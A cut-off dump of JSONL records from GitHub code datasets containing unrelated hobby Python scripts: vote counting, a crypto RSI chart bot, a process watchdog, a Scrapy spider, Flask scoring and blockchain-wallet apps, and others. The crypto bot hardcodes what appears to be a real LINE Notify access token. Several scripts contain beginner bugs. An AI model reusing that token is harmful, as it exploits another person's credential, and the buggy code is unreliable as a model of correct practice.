'election_data_2.csv')\n\n# empty list of candidates\ncandidate = []\n\n# open the file\nwith open(file_path, newline='') as csv_file:\n\n # read the file\n csv_reader = csv.reader(csv_file, delimiter = ',')\n\n next(csv_reader, None)\n\n # loop the file \n for row in csv_reader:\n candidate.append(row[2])\n # print(candidate)\n\n# get the vote count and print \nvote_count = len(candidate)\nprint('.......................................')\nprint('Total Votes: ' + str(vote_count))\n\n# list of candidates just in case \nlist_candidate = set(candidate)\n# print(list_candidate)\n\n# {'Li', 'Khan', 'Correy', \"O'Tooley\"}\n\n\n\n# make a dictionary of candidate and their votes\nvotes = {}\n\n# get the keys and values for the dictionary by looping \nfor name in candidate:\n if name in votes:\n votes[name] = votes[name] +1 \n else:\n votes[name] = 1\n\n# print(votes)\n\neach_votes = list(votes.values())\n\n\n# find the percents of votes for each candidates \nfor key, value in votes.items():\n votes[key] = round((value/vote_count)*100,0)\n\nprint('.......................................')\n\n# find the max of the vote and sort the canditas \nk=0\nfor key, value in sorted(votes.items(), key = lambda pair: pair[1], reverse = True):\n print('{0}: {1}%'.format(key,value) + ' (' + str(each_votes[k]) + ')')\n max_vote = max(votes, key=votes.get)\n k = k+1\n\nprint('.......................................')\nprint('Winner: ' + max_vote, votes[max_vote])\nprint('.......................................')\n\n","repo_name":"mrbalikci/python-challange","sub_path":"PyPoll/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13386740045","text":"number1=10\r\nnumber2=20\r\nnumber3=30\r\nnumber4=50\r\nnumber5=50\r\n\r\nage=20\r\nAGE=30\r\n\r\nprint(age)\r\nprint(AGE)\r\n\r\na,b,c=10,20,30\r\nprint(a,b,c)\r\n\r\nx=1\r\nprint(type(x))\r\n\r\ny=1.5\r\nprint(type(y))\r\n\r\nname='Joe'\r\nprint(name)\r\n\r\nisStudent=True\r\nisStudent=False\r\n\r\nprint(type(isStudent))\r\n\r\nx,y,name,isStudent=1,1.5,\"Joe\",False\r\n\r\na='10'\r\nb='20'\r\n\r\ntotal=a+b\r\nprint(total)","repo_name":"Emre-6/PythonPrograms","sub_path":"number1.py","file_name":"number1.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20354316173","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom setuptools import setup, find_packages\nimport os, sys, runpy\n\npkg_root = os.path.dirname(__file__)\nfeedjack = type( 'ModuleVars', (object,),\n\trunpy.run_path(os.path.join(pkg_root, 'feedjack', '__init__.py')) )\n\n# Error-handling here is to allow package to be built w/o README included\ntry: readme = open(os.path.join(pkg_root, 'README.rst')).read()\nexcept IOError: readme = ''\n\nsetup(\n\n\tname='Feedjack',\n\tversion=feedjack.__version__,\n\tauthor='Gustavo Picón, Mike Kazantsev',\n\tauthor_email='mk.fraggod@gmail.com',\n\tlicense='BSD',\n\tkeywords=[\n\t\t'feed', 'aggregator', 'reader', 'planet',\n\t\t'syndication', 'subscribe', 'news', 'web',\n\t\t'rss', 'atom', 'rdf', 'opml', 'django', 'feedparser' ],\n\n\turl=feedjack.__url__,\n\n\tdescription='Multisite Feed Agregator (Planet) or personal feed reader',\n\tlong_description=readme,\n\n\tclassifiers=[\n\t\t'Development Status :: 5 - Production/Stable',\n\t\t'Environment :: Console',\n\t\t'Environment :: Web Environment',\n\t\t'Framework :: Django',\n\t\t'Intended Audience :: End Users/Desktop',\n\t\t'Intended Audience :: Information Technology',\n\t\t'License :: OSI Approved :: BSD License',\n\t\t'Natural Language :: English',\n\t\t'Operating System :: POSIX',\n\t\t'Operating System :: Unix',\n\t\t'Programming Language :: Python',\n\t\t'Programming Language :: Python :: 2.7',\n\t\t'Programming Language :: Python :: 2 :: Only',\n\t\t'Topic :: Internet',\n\t\t'Topic :: Internet :: WWW/HTTP :: Dynamic Content',\n\t\t'Topic :: Internet :: WWW/HTTP :: WSGI :: Application',\n\t\t'Topic :: Software Development :: Libraries :: Python Modules' ],\n\n\tinstall_requires=['feedparser', 'Django >= 1.8'],\n\textras_require={\n\t\t'old_db_migration': ['South'],\n\t\t'themes.fern': ['lxml'],\n\t\t'themes.plain': ['lxml'] },\n\n\tzip_safe=False,\n\tpackages=find_packages(),\n\tinclude_package_data=True, # uses git and MANIFEST.in\n\n\tentry_points={\n\t\t'console_scripts': ['feedjack_update=feedjack.fjupdate:main'] } )\n","repo_name":"mk-fg/feedjack","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1928,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"32"} +{"seq_id":"43486056394","text":"import pandas as pd\nimport numpy as np\n\nfrom common.outputs_helper import regression_results\n\nfrom sklearn.metrics import make_scorer\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.model_selection import TimeSeriesSplit, GridSearchCV\n\ndef _rmse(actual: list[float], predict: list[float]) -> float:\n \"\"\"Calculate the Root Mean Square Error between actuals and the predictions.\n\n Args:\n actual (list[float]): An array of actual values.\n predict (list[float]): An array of the corresponding predicted values.\n\n Returns:\n float: Root Mean Square Error\n \"\"\"\n predict = np.array(predict)\n actual = np.array(actual)\n distance = predict - actual\n square_distance = distance ** 2\n mean_square_distance = square_distance.mean()\n score = np.sqrt(mean_square_distance)\n return score\n\ndef search_grid(model, X_train: pd.DataFrame, y_train: pd.DataFrame, X_test: pd.DataFrame, y_test: pd.DataFrame, param_search, nsplits: int = 10, greater_is_better: bool = False, title: str = 'Results') -> tuple:\n \"\"\"Hyper Parameter optimization routine to search for the optimum estimator.\n\n Args:\n model (object): Estimator to search against\n X_train (pd.DataFrame): Model X Train Dataset\n y_train (pd.DataFrame): Model y Train Dataset\n X_test (pd.DataFrame): Model X Test Dataset\n y_test (pd.DataFrame): Model y Test Dataset\n param_search (_type_): Hyperparameter Configuration\n nsplits (int, optional): TimeSeriesSplit number of splits. Defaults to 10.\n greater_is_better (bool, optional): If function is a scorer (positive) or loss (negative). Defaults to False.\n title (str, optional): Title of Model. Defaults to 'Results'.\n\n Returns:\n tuple: (Best Score, Best Model, Y True Values, Y Prediction Values)\n \"\"\"\n \n rmse_score = make_scorer(_rmse, greater_is_better = greater_is_better)\n tscv = TimeSeriesSplit(n_splits=nsplits)\n gsearch = GridSearchCV(estimator=model, cv=tscv,\n param_grid=param_search, scoring=rmse_score)\n\n gsearch.fit(X_train, y_train)\n best_score = gsearch.best_score_\n best_model = gsearch.best_estimator_\n\n y_true = y_test.values\n y_pred = best_model.predict(X_test)\n\n regression_results(title, y_true, y_pred)\n \n return (best_score, best_model, y_true, y_pred)\n","repo_name":"AmmarBandukwala/sklearn-ml-starter","sub_path":"experiment/common/model_helper.py","file_name":"model_helper.py","file_ext":"py","file_size_in_byte":2353,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"11864662723","text":"import requests\nfrom datetime import datetime,date,timedelta\n#python_bitbankccのパッケージをインポート\nimport python_bitbankcc\nimport pandas as pd\nimport mplfinance as mpf\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport time\n\nclass get_data():\n #APIオブジェクトを取得\n API = python_bitbankcc.public()\n\n def __init__(self,pair):\n self.pair = pair\n\n def get_ticker(self):\n #ティッカー情報を表示\n ticker = get_data.API.get_ticker(self.pair)\n \n ticker_info = \"{:8}\".format('Pair') + '\\t' + 'Now' + '\\t' + 'Sell' + '\\t' + 'Buy' \\\n + '\\t' + 'High' + '\\t' + 'Low' + '\\t' + 'Vol' + '\\t' + '\\n' \\\n \"{:8}\".format(self.pair) + '\\t' \\\n + ticker['last'] + '\\t' \\\n + ticker['sell'] + '\\t' \\\n + ticker['buy'] + '\\t' \\\n + ticker['high'] + '\\t' \\\n + ticker['low'] + '\\t' \\\n + ticker['vol']\n\n return ticker_info\n\n #RSIクラス\n def close_and_rsi(self):\n\n #間隔を指定\n candle_type = '1day'\n #取得開始日を指定\n start_day = \"20210101\"\n start_dt = datetime.strptime(start_day,\"%Y%m%d\")\n #取得終了日を指定\n today = datetime.today()\n today = today - timedelta(hours=8)\n\n dt = start_dt\n \n #ローソク足情報\n ohlcv = []\n \n while dt <= today:\n #指定期間のロウソク足データの取得\n ohlcv.extend(get_data.API.get_candlestick(self.pair,candle_type,datetime.strftime(dt,\"%Y\"))['candlestick'][0]['ohlcv'])\n dt = dt + timedelta(days=365)\n\n #DataFrame形式に変更\n df = pd.DataFrame(ohlcv,columns = ['open', 'high','low','close','volume','time']);\n #日時のフォーマットを変更\n df['time'] = [datetime.fromtimestamp(float(time)/1000) for time in df['time']]\n #日時をインデックスに変更\n df.set_index('time',inplace=True)\n #中身の型変換\n df = df[['open', 'high','low','close','volume']].astype('float64')\n\n #終値抽出\n close = df['close']\n #前日差分\n diff = close.diff()\n #最初の欠損を削除\n diff = diff[1:]\n\n up,down = diff.copy(),diff.copy()\n up[up < 0] = 0\n down[down > 0] = 0\n\n #RS(Relative Strength)の計算\n up_sma_14 = up.rolling(window = 14 ,center= False).mean()\n down_sma_14 = down.abs().rolling(window = 14,center = False).mean()\n\n #RSI(Relative Strength Index)計算\n RS = up_sma_14 / down_sma_14\n RSI = 100.0 - (100.0 / (1.0 + RS))\n\n #グラフの作成 close と RSI\n fig,(ax1,ax2) = plt.subplots(2,1,gridspec_kw={'height_ratios':[1,1]})\n #close plot\n ax1.plot(close.index,close)\n \n #RSI plot\n ax2.plot(RSI.index,RSI)\n \n #グラフ周りの設定\n #グリッド\n plt.ion()\n ax1.grid()\n ax2.grid()\n #タイトル\n ax1.set_title(str(self.pair) + '/JPY',fontsize=20)\n ax2.set_title('RSI(Relative Strength Index)',fontsize=20)\n\n #買われ過ぎ 売られ過ぎ可視化\n ax2.axhspan(0,30,facecolor = 'red',alpha = 0.5)\n ax2.axhspan(70,100,facecolor = 'lime',alpha = 0.5)\n\n #重なり防止\n fig.tight_layout()\n\n #画像保存\n plt.savefig('Close_and_RSI_'+ str(self.pair)+'.png')\n\n plt.close()\n\n #serise型の末尾の値のみ抽出\n return int(RSI.iloc[-1])\n\n def candle_plot(self):\n\n #取得開始日を指定\n start_day = \"20210101\"\n start_dt = datetime.strptime(start_day,\"%Y%m%d\")\n #取得終了日を指定\n today = datetime.today()\n today = today - timedelta(hours=8)\n dt = start_dt\n \n #間隔を指定\n candle_type = '1day'\n\n #ローソク足情報\n ohlcv_day = []\n ohlcv_4hour = []\n\n #日足ローソク足情報取得 \n while dt <= today:\n #指定期間のロウソク足データの取得\n ohlcv_day.extend(get_data.API.get_candlestick(self.pair,candle_type,datetime.strftime(dt,\"%Y\"))['candlestick'][0]['ohlcv'])\n dt = dt + timedelta(days=365)\n \n #初期化\n dt_4hour = start_dt\n #間隔を指定\n candle_type = '4hour'\n\n #4時間足ローソク足情報取得\n while dt_4hour <= today:\n #指定期間のロウソク足データの取得\n ohlcv_4hour.extend(get_data.API.get_candlestick(self.pair,candle_type,datetime.strftime(dt_4hour,'%Y'))['candlestick'][0]['ohlcv'])\n dt_4hour = dt_4hour + timedelta(days=365)\n\n #DataFrame形式に変更\n data_day = pd.DataFrame(ohlcv_day,columns = ['open', 'high','low','close','volume','time']);\n #日時のフォーマットを変更\n data_day['time'] = [datetime.fromtimestamp(float(time)/1000) for time in data_day['time']]\n #日時をインデックスに変更\n data_day.set_index('time',inplace=True)\n\n #DataFrame形式に変更\n data_4hour = pd.DataFrame(ohlcv_4hour,columns = ['open', 'high','low','close','volume','time']);\n #日時のフォーマットを変更\n data_4hour['time'] = [datetime.fromtimestamp(float(time)/1000) for time in data_4hour['time']]\n #日時をインデックスに変更\n data_4hour.set_index('time',inplace=True)\n\n #中身の型変換\n df_day = data_day[['open', 'high','low','close','volume']].astype('float64')\n df_4hour = data_4hour[['open', 'high','low','close','volume']].astype('float64')\n\n fig_day = plt.figure(figsize=(10,4),dpi=120)\n plt.ion()\n #ローソク足チャートを作成する\n mpf.plot(df_day, type='candle', figratio=(24,8),\n volume=True, mav=(5, 25), style='yahoo')\n plt.close(fig_day)\n #画像保存\n plt.savefig('candle_day_'+ str(self.pair) + '.png')\n\n fig_4hour = plt.figure(figsize=(10,4),dpi=120)\n plt.ion()\n #ローソク足チャートを作成する\n mpf.plot(df_4hour, type='candle', figratio=(24,8),\n volume=True, mav=(12,25), style='yahoo')\n plt.close(fig_day)\n #画像保存\n plt.savefig('candle_4hour_'+ str(self.pair) + '.png')\n\nclass line_class():\n\n def __init__(self,token,api_url):\n self.token = token\n self.api_url = api_url\n self.token_dic = {'Authorization' : 'Bearer' + ' ' + token}\n\n def send_message(self,message):\n #情報の辞書型\n send_dic = {'message' : '\\n' + message}\n\n #LINE通知を送る(200:成功 400:リクエストが不正 401: アクセストークンが無効)\n requests.post(self.api_url,headers = self.token_dic,data = send_dic)\n\n def send_file(self,message,file):\n send_dic = {'message' : '\\n' + message}\n send_files = {'imageFile' : open(file,'rb')}\n\n #画像+説明送信\n requests.post(self.api_url,headers = self.token_dic,params = send_dic,files = send_files)\n\ndef jage(RSI):\n\n if RSI >=70:\n message = 'RSI='+str(RSI)+'\\n買われ過ぎです'\n elif RSI <= 30:\n message = 'RSI='+str(RSI)+'\\n売られ過ぎです。'\n else:\n message = 'RSI='+str(RSI)+'\\n中立です。'\n\n return message\n\ndef main():\n\n #データ収集クラス\n pub_data_xrp = get_data('xrp_jpy')\n pub_data_eth = get_data('eth_jpy')\n pub_data_btc = get_data('btc_jpy')\n #ティッカー情報取得1\n ticker_info_xrp = pub_data_xrp.get_ticker()\n ticker_info_eth = pub_data_eth.get_ticker()\n ticker_info_btc = pub_data_btc.get_ticker()\n #ローソク足作成\n pub_data_xrp.candle_plot()\n RSI_xrp = pub_data_xrp.close_and_rsi()\n pub_data_eth.candle_plot()\n RSI_eth = pub_data_eth.close_and_rsi()\n pub_data_btc.candle_plot()\n RSI_btc = pub_data_btc.close_and_rsi()\n #RSI判定&メッセージ作成\n XRP_RSI_message = 'xrp_jpy\\n' + jage(RSI_xrp)\n ETH_RSI_message = 'eth_jpy\\n' +jage(RSI_eth)\n BTC_RSI_message = 'btc_jpy\\n' + jage(RSI_btc)\n #ラインクラス\n pub_line = line_class('ibscPdt9IYBwf6hHQIg7TJS4S61ivvZo9vZfu9116Iu','https://notify-api.line.me/api/notify')\n #現在時刻取得\n today = datetime.today()\n #変換\n now = datetime.strftime(today,\"%m月%d日 %H:%M\")\n #ラインにメッセージ&ファイル送信\n pub_line.send_message(now)\n \n pub_line.send_message(ticker_info_btc)\n pub_line.send_message(BTC_RSI_message)\n pub_line.send_message(ticker_info_eth)\n pub_line.send_message(ETH_RSI_message)\n pub_line.send_message(ticker_info_xrp)\n pub_line.send_message(XRP_RSI_message)\n pub_line.send_file('ローソク足(1日足)','candle_day_xrp_jpy.png')\n pub_line.send_file('ローソク足(4時間足)','candle_4hour_xrp_jpy.png')\n pub_line.send_file('RSI(買い圧売り圧)','Close_and_RSI_xrp_jpy.png')\n\nif __name__ == '__main__':\n main()","repo_name":"asunoyozora/line_chat","sub_path":"msg_plt_line.py","file_name":"msg_plt_line.py","file_ext":"py","file_size_in_byte":8430,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"28111899397","text":"#!/usr/bin/python\n\nfrom __future__ import print_function\nimport errno\nimport os\nimport sys\nimport subprocess\nimport traceback\nfrom time import time, sleep\nfrom signal import *\nfrom socket import *\nfrom select import select, error as SelectError\n\ncont = [True]\nkeepalive = os.environ.get('WATCHDOG_KEEPALIVE')\nkeepalive_interval = [0]\npidfile = sys.argv[1]\nargs = sys.argv[2:]\ntimeout = 30\n\nlfd = socket(AF_UNIX, SOCK_DGRAM, 0)\nlfd.bind('/dev/log')\n\nt = [0]\npid = [None]\n\nif hasattr(os, 'getpgid'):\n def killgrp(pid, sig):\n pgid = os.getpgid(pid)\n os.killpg(pgid, sig)\nelse:\n def killgrp(pid, sig):\n os.kill(pid, sig)\n\ndef c0():\n t[0] = time()\n signal(SIGINT, SIG_IGN)\n signal(SIGTERM, SIG_IGN)\n\ndef c1():\n try:\n pid[0] = int(open(pidfile).read().strip())\n except Exception as e:\n pass\n if pid[0]:\n print(\"process launched as pid %d.\" % pid[0])\n signal(SIGINT, stop)\n signal(SIGTERM, stop)\n t[0] = time()\n return c2\n else:\n if time() - t < timeout:\n print(\"waiting for process to launch...\")\n return c1\n else:\n print(\"process did not start up in %d seconds\" % timeout)\n return stop\n\ndef c2():\n os.waitpid(-1, os.WNOHANG)\n try:\n s = os.waitpid(pid[0], os.WNOHANG)\n except:\n pass\n if s[0] == 0:\n if keepalive and keepalive_interval[0] >= 0:\n if time() - t[0] >= keepalive_interval[0]:\n t[0] = time()\n try:\n sp = subprocess.Popen(keepalive, stdout=subprocess.PIPE, shell=True)\n o, _ = sp.communicate()\n o = o.strip()\n if o:\n i = None\n try:\n i = int(o)\n except:\n pass\n if i is None or i <= 0:\n print(\"keepalive process returned wrong value: %s\" % o)\n keepalive_interval[0] = -1\n keepalive_interval[0] = i\n print(\"keepalive interval: %d\" % keepalive_interval[0])\n else:\n keepalive_interval[0] = -1\n except:\n traceback.print_exc()\n keepalive_interval[0] = -1\n return c2\n pid[0] = None\n return stop\n\ndef c3():\n signal(SIGTERM, stop2)\n signal(SIGINT, stop2)\n if os.path.exists(pidfile):\n os.kill(pid[0], SIGTERM)\n t[0] = time()\n return c4\n else:\n pid[0] = None\n return stop\n\ndef c4():\n print(\"terminating process...\")\n try:\n s = os.waitpid(pid[0], os.WNOHANG)\n except:\n pass\n\n if s[0] == 0:\n if time() - t[0] >= timeout:\n print(\"process did not stop in %d second\" % timeout)\n return stop\n return c4\n else:\n pid[0] = None\n return stop\n\ndef stop(sig, frame):\n print(\"signal %d received\" % sig)\n do_it[0] = c3\n\ndef stop2(sig, frame):\n do_it[0] = stop\n\ndo_it = [c1]\n\ntry:\n subprocess.call(args)\n while True:\n do_it[0] = do_it[0]()\n if do_it[0] is stop:\n break\n try:\n r, _, _ = select([lfd], [], [], 1)\n if r:\n pl, addr = lfd.recvfrom(4096)\n sys.stdout.write(pl)\n sys.stdout.flush()\n except SelectError as e:\n if e.args[0] != errno.EINTR:\n traceback.print_exc()\n do_it[0] = c3\nfinally:\n try:\n lfd.close()\n except:\n traceback.print_exc()\n if pid[0]:\n killgrp(pid[0], SIGKILL)\n print(\"process killed\")\n sys.exit(1)\n else:\n print(\"process terminated\")\n","repo_name":"moriyoshi/docker-dev-mta-postfix","sub_path":"watchdog.py","file_name":"watchdog.py","file_ext":"py","file_size_in_byte":3836,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"74859582490","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom scrapy.linkextractors import LinkExtractor\nfrom scrapy.spiders import CrawlSpider, Rule\nfrom ..items import *\n\nclass TencentSpider(CrawlSpider):\n name = 'tencent'\n allowed_domains = ['hr.tencent.com']\n start_urls = ['https://hr.tencent.com/position.php?&start=0']\n page_lx=LinkExtractor(allow=('start=\\d+'))\n rules = (\n Rule(page_lx, callback='parse_item', follow=True),\n )\n\n def parse_item(self, response):\n for each in response.xpath(\"//tr[@class='even'] | //tr[@class='odd']\"):\n # 初始化模型对象\n item = TencentspiderItem()\n\n item['positionname'] = each.xpath(\"./td[1]/a/text()\").extract()[0]\n # 详情连接\n item['positionlink'] = each.xpath(\"./td[1]/a/@href\").extract()[0]\n # 职位类别\n typelist = each.xpath(\"./td[2]/text()\").extract()\n if len(typelist) > 0:\n item['positionType'] = typelist[0]\n else:\n item['positionType'] = \"\"\n # 招聘人数\n item['peopleNum'] = each.xpath(\"./td[3]/text()\").extract()[0]\n # 工作地点\n item['workLocation'] = each.xpath(\"./td[4]/text()\").extract()[0]\n # 发布时间\n item['publishTime'] = each.xpath(\"./td[5]/text()\").extract()[0]\n\n yield item\n","repo_name":"guch96/Spider","sub_path":"TencentSpider/TencentSpider/spiders/tencent.py","file_name":"tencent.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35280644488","text":"import socket\nprint ('Avvio del server')\nHOST = '127.0.0.1' \nPORT = 5000\n\ns = socket.socket() #senza parametri protocollo tcp-ip\ns.bind((HOST, PORT))\ns.listen()\n\nconn, addr = s.accept()\nprint('Connesso ad IP: ', addr)\nwhile True:\n dati = conn.recv(1024)\n if not dati:\n break\n conn.sendall(b'restituisco dati ricevuti:'+dati)\n print('dati ricevuti: ',dati)\ns.close() \nprint('Fine programma')","repo_name":"Simo-Olly/TPSIT-22-23","sub_path":"002_ChatBroadcast/ClientServer_TCP/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25107406215","text":"\"\"\"\nExercise 1: Write a program to read through a file and print the contents\nof the file (line by line) all in upper case. Executing the program will\nlook as follows:\npython shout.py\nEnter a file name: mbox-short.txt\nFROM STEPHEN.MARQUARD@UCT.AC.ZA SAT JAN 5 09:14:16 2008\nRETURN-PATH: \nRECEIVED: FROM MURDER (MAIL.UMICH.EDU [141.211.14.90])\nBY FRANKENSTEIN.MAIL.UMICH.EDU (CYRUS V2.3.8) WITH LMTPA;\nSAT, 05 JAN 2008 09:14:16 -0500\nYou can download the file from www.py4e.com/code3/mbox-short.txt\n\"\"\"\n\nfile_name = input(\"Enter the file name: \")\ntry:\n file_cap = open(file_name,\"r\")\n print (\"Successfully opened file\\n\")\nexcept:\n print (\"No such file found. Please check the file name\\nEnter the complete path\")\n exit()\nfor line in file_cap:\n print (line.upper())\n break\nfile_cap.close()\n","repo_name":"sandesh-gawde/python_for_everybody","sub_path":"7_Files/exc_1.py","file_name":"exc_1.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"23127794764","text":"from flask import Flask, render_template, request, redirect, url_for\r\n\r\napp = Flask(__name__)\r\nplayers = []\r\n\r\nclass player:\r\n def __init__(self, player_name, wins, cumulative, points):\r\n self.player_name = player_name\r\n self.wins = wins\r\n self.cumulative= cumulative\r\n self.points = points\r\n \r\n def __repr__(self) -> str:\r\n return f\"{type(self).__name__}(player_name={self.player_name}, wins={self.wins}, cumulative={self.cumulative}, point={self.points})\"\r\n\r\nclass game:\r\n def __init__(self, player1, player2, initial_server):\r\n self.player1 = player1\r\n self.player2 = player2\r\n self.initial_server = initial_server\r\n self.player1Points = 0\r\n self.player2Points = 0\r\n self.current_server = initial_server\r\n self.current_round = 0\r\n self.winner = None\r\n self.winnerName = None\r\n\r\n def addPoints1(self):\r\n self.player1Points = self.player1Points + 1\r\n self.current_round += 1\r\n self.chooseCurrentServer()\r\n self.choose_winner()\r\n \r\n def addPoints2(self):\r\n self.player2Points += 1\r\n self.current_round += 1\r\n self.chooseCurrentServer()\r\n self.choose_winner()\r\n \r\n def chooseCurrentServer(self):\r\n if(self.current_round != 0 and self.current_round % 2 == 0):\r\n if(self.current_server == self.player2):\r\n self.current_server = self.player1\r\n else:\r\n self.current_server = self.player2\r\n return\r\n \r\n def choose_winner(self):\r\n if(self.player1Points > 10 and self.player2Points < 10):\r\n print(\"line 52\")\r\n self.winner = self.player1\r\n self.winnerName = self.player1.player_name\r\n self.player1.wins += 1\r\n self.player1.cumulative += self.player1Points\r\n self.player1Points = 0\r\n self.player2Points = 0\r\n \r\n if(self.player2Points > 10 and self.player1Points < 10):\r\n self.winner = self.player2\r\n self.winnerName = self.player2.player_name\r\n self.player2.wins += 1\r\n self.player2.cumulative += self.player2Points\r\n self.player1Points = 0\r\n self.player2Points = 0\r\n \r\n if(self.player1Points >= 10 and self.player2Points >= 10):\r\n if((self.player1Points - self.player2Points) >= 2):\r\n self.winner = self.player1\r\n self.winnerName = self.player1.player_name\r\n self.player1.wins += 1\r\n self.player1.cumulative += self.player1Points\r\n self.player1Points = 0\r\n self.player2Points = 0\r\n \r\n if((self.player2Points - self.player1Points) >= 2):\r\n self.winner = self.player2\r\n self.winnerName = self.player2.player_name\r\n self.player2.wins += 1\r\n self.player2.cumulative += self.player2Points\r\n self.player1Points = 0\r\n self.player2Points = 0\r\n \r\n def __repr__(self) -> str:\r\n return f\"{type(self).__name__}(player1Name={self.player1.player_name}, player2Name={self.player2.player_name}, point={self.player1Points}, winner={self.winner}, current_server={self.current_server} )\"\r\n\r\ndef gameplay(start_game):\r\n # show players \r\n player1Name = start_game.player1.player_name\r\n player2Name = start_game.player2.player_name\r\n player1Points = start_game.player1Points\r\n player2Points = start_game.player2Points\r\n final_winner = start_game.winnerName\r\n current_server = start_game.current_server\r\n print(players)\r\n return render_template(\"index.html\", player1Name=player1Name, player2Name=player2Name, player1Points = player1Points, player2Points = player2Points, current_server=current_server, start_game = start_game, final_winner = final_winner)\r\n\r\n\r\n@app.route(\"/\")\r\ndef homepage():\r\n return render_template(\"index.html\")\r\n\r\n@app.route(\"/add\", methods= [\"POST\"])\r\ndef add():\r\n global start_game\r\n player1Name= request.form.get(\"player1Name\")\r\n player2Name= request.form.get(\"player2Name\") \r\n initialServer= request.form.get(\"initialServer\") \r\n filtered1 = any(player.player_name == player1Name for player in players)\r\n filtered2 = any(player.player_name == player2Name for player in players)\r\n \r\n \r\n if(filtered1 and filtered2):\r\n new_player1 = (player for player in players if player.get('player_name') == player1Name)\r\n new_player2 = (player for player in players if player.get('player_name') == player2Name)\r\n start_game = game(new_player1,new_player2, initialServer)\r\n return(gameplay(start_game))\r\n\r\n if(filtered1):\r\n new_player1 = (player for player in players if player.get('player_name') == player1Name)\r\n new_player2 = player(player_name = player2Name, wins = 0, cumulative = 0, points = 0)\r\n players.append(new_player2)\r\n start_game = game(new_player1,new_player2, initialServer)\r\n return(gameplay(start_game))\r\n\r\n if(filtered2):\r\n new_player1 = player(player_name = player1Name, wins = 0, cumulative = 0, points = 0)\r\n new_player2 = (player for player in players if player.get('player_name') == player2Name)\r\n players.append(new_player1)\r\n start_game = game(new_player1,new_player2, initialServer)\r\n return(gameplay(start_game))\r\n\r\n else:\r\n new_player1 = player(player_name = player1Name, wins = 0, cumulative = 0, points = 0)\r\n new_player2 = player(player_name = player2Name, wins = 0, cumulative = 0, points = 0)\r\n players.append(new_player1)\r\n players.append(new_player2)\r\n start_game = game(new_player1,new_player2, initialServer)\r\n return(gameplay(start_game))\r\n\r\n@app.route(\"/player1points\")\r\ndef addplayer1points():\r\n start_game.addPoints1()\r\n return(gameplay(start_game))\r\n\r\n@app.route(\"/player2points\")\r\ndef addplayer2points():\r\n start_game.addPoints2()\r\n return(gameplay(start_game))\r\n \r\nif __name__ == \"__main__\":\r\n app.run(debug=True)\r\n \r\n","repo_name":"Kingshak03/smarttwigswebapp","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27279540947","text":"import os\n\nfrom flask import Flask, jsonify, request, render_template\nfrom flask_cors import CORS\n\nfrom lib import RsaCipher, EccCipher, DilithiumCipher\nfrom .transaction import ClientTransaction\n\n# Initialize Flask app\napp = Flask(__name__)\nCORS(app)\n\ncipher_algorithm = os.getenv(\"CIPHER\")\n\nif cipher_algorithm == \"ecc\":\n cipher = EccCipher()\nelif cipher_algorithm == \"rsa\":\n print(\"Now using RSA 3072\")\n cipher = RsaCipher()\nelif cipher_algorithm == \"dilithium\":\n cipher = DilithiumCipher()\nelse:\n raise ValueError(cipher_algorithm + \"is unknown\")\n\n\n@app.route(\"/\")\ndef index():\n return render_template(\"index.html\")\n\n\n@app.route(\"/make/transaction\")\ndef make_transaction():\n return render_template(\"make_transaction.html\")\n\n\n@app.route(\"/view/transactions\")\ndef view_transaction():\n return render_template(\"view_transactions.html\")\n\n\n@app.route(\"/wallet/new\", methods=[\"GET\"])\ndef new_wallet():\n\n private_key, public_key = cipher.get_key_pair()\n response = {\n \"private_key\": private_key,\n \"public_key\": public_key,\n }\n return jsonify(response), 200\n\n\n@app.route(\"/generate/transaction\", methods=[\"POST\"])\ndef generate_transaction():\n sender_address = request.form[\"sender_address\"]\n sender_private_key = request.form[\"sender_private_key\"]\n receiver_address = request.form[\"receiver_address\"]\n amount = request.form[\"amount\"]\n\n transaction = ClientTransaction(\n sender_address, sender_private_key, receiver_address, amount\n )\n\n response = {\n \"transaction\": transaction.to_dict(),\n \"signature\": cipher.sign(sender_private_key, str(transaction.to_dict())),\n }\n\n return jsonify(response), 200\n","repo_name":"jode-reflact/quantumsafe-blockchain-project","sub_path":"client/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1691,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"39833388966","text":"from flask import Flask, render_template, jsonify\nimport pyaudio\nfrom transcribe import load_model, OnlineTranscriber\nfrom mic_stream import MicrophoneStream\nimport numpy as np\nfrom threading import Thread\nimport queue\nimport rtmidi\n\nimport logging\nlog = logging.getLogger('werkzeug')\nlog.setLevel(logging.ERROR)\nprint('http://127.0.0.1:5000/')\napp = Flask(__name__)\nglobal Q\nQ = queue.Queue()\n\n\n\n@app.route('/')\ndef home():\n # args = Args()\n # model = load_model(args)\n model = load_model('model-180000.pt')\n global Q\n t1 = Thread(target=get_buffer_and_transcribe, name=get_buffer_and_transcribe, args=(model, Q))\n t1.start()\n return render_template('home.html')\n\n@app.route('/_amt', methods= ['GET', 'POST'])\ndef amt():\n global Q\n onsets = []\n 